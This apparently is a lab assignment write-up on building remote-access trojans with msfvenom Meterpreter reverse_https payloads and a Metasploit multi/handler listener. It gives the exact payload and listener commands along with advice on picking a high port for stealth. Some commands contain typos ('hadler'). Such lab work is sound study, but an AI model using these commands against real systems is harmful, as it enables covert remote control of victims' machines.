😱Main Doc😱

🐀RAT Development🐀

⭐Objective⭐

• Create and explain the options used to create a RAT and set up a listener.

🌹Steps🌹

1. Create two RATs using msfvenom’s reverse_https meterpeter module and don’t use a port below 12000.
2. Set up one listener for the Phase 1 attack below.

📜Documentation Requirement for Phase 0📜

• Report Section:
  • Document the exact commands used to generate the payloads and configure the listener. For each parameter set using set, provide a brief justification explaining why that specific value was selected (e.g., matching the LHOST from payload generation, selecting a high port for stealth).

⚡First we are going to create the rats⚡

• When selecting a port to create the rats we want to choose a high port such as 44383, as it will blend in with normal web traffic.

• msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.17.49 LPORT=44383 -f exe -o ~/Desktop/rat1.exe

• msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.17.49 LPORT=44383 -f exe -o ~/Desktop/rat2.exe

⚡Now we are going to set up the listener⚡

• msfconsole -q
  1. use exploit/multi/hadler
  2. set PAYLOAD windows/x64/meterpreter/reverse_https
  3. set LHOST 10.0.17.49
  4. set LPORT 44383
  5. exploit -j
• Command Explanation:
  1. The Sets up a listening server to catch incoming connections from a payload running on a target machine.
  2. Tells the Metasploit Framework to configure a listener or exploit to use a Windows Meterpreter payload that connects back to the attacker over an encrypted HTTPS connection.
  3. Sets our local host to the Kali VM.
  4. Sets our local port to the 44383.
  5. Starts the exploit on the cf machine and waits for a session to start.